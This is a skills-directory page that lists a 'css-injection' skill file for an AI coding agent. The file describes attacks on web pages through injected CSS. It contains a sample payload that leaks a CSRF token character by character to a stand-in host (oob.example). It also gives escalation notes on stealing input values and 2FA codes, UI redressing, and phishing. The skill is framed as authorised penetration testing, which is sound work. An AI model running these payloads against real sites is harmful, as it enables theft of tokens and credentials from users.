CSS injection — attacker-controlled CSS used to exfiltrate data (attribute-selector + url() leaking CSRF tokens/input char-by-char, :has()/:not() chaining), perform UI redressing, or hide/alter content. Tier 1. Payloads: payloads/client-side.md. Use when input lands in an HTML style block or style attribute without a full XSS.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Css Injection?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-css-injection)
---
name: css-injection
description: "CSS injection — attacker-controlled CSS used to exfiltrate data (attribute-selector + url() leaking CSRF tokens/input char-by-char, :has()/:not() chaining), perform UI redressing, or hide/alter content. Tier 1. Payloads: payloads/client-side.md. Use when input lands in an HTML style block or style attribute without a full XSS."
---
# CSS Injection
Even without script, injected CSS can steal data and manipulate the UI.
## Trigger phrases
`css injection, style injection, css exfiltration, attribute selector leak, css data theft`
## Method
1. Confirm input reaches `<style>` or a style context.
2. **Data exfiltration:** attribute-selector + `url()` beacons to leak secret values char-by-char:
```
input[name="csrf"][value^="a"]{background:url(//oob.example/leak?c=a)}
```
one rule per character; modern `:has()`/`:not()`/`@import` chaining speeds blind extraction.
3. **UI redress / spoof:** overlay/hide elements, fake content, move controls (clickjacking-like).
4. Confirm leaked values arrive at your server.
## Escalation
Steal CSRF tokens (→ chain `csrf`), input field values, and 2FA codes; combine with injected markup for phishing.
## Backend & tooling
Preferred Kali path or headless browser for client-side execution/evidence; if a Burp MCP is present, proxy traffic for visibility and send PoCs to Repeater (see `zazy-orchestrator`).
## Verification (background, before reporting)
Reproduce in a real browser / second context and confirm impact before marking CONFIRMED; use OAST for blind cases. Report true positives only.
## Evidence
The injected CSS, the exfiltration callbacks (leaked characters), and the data recovered.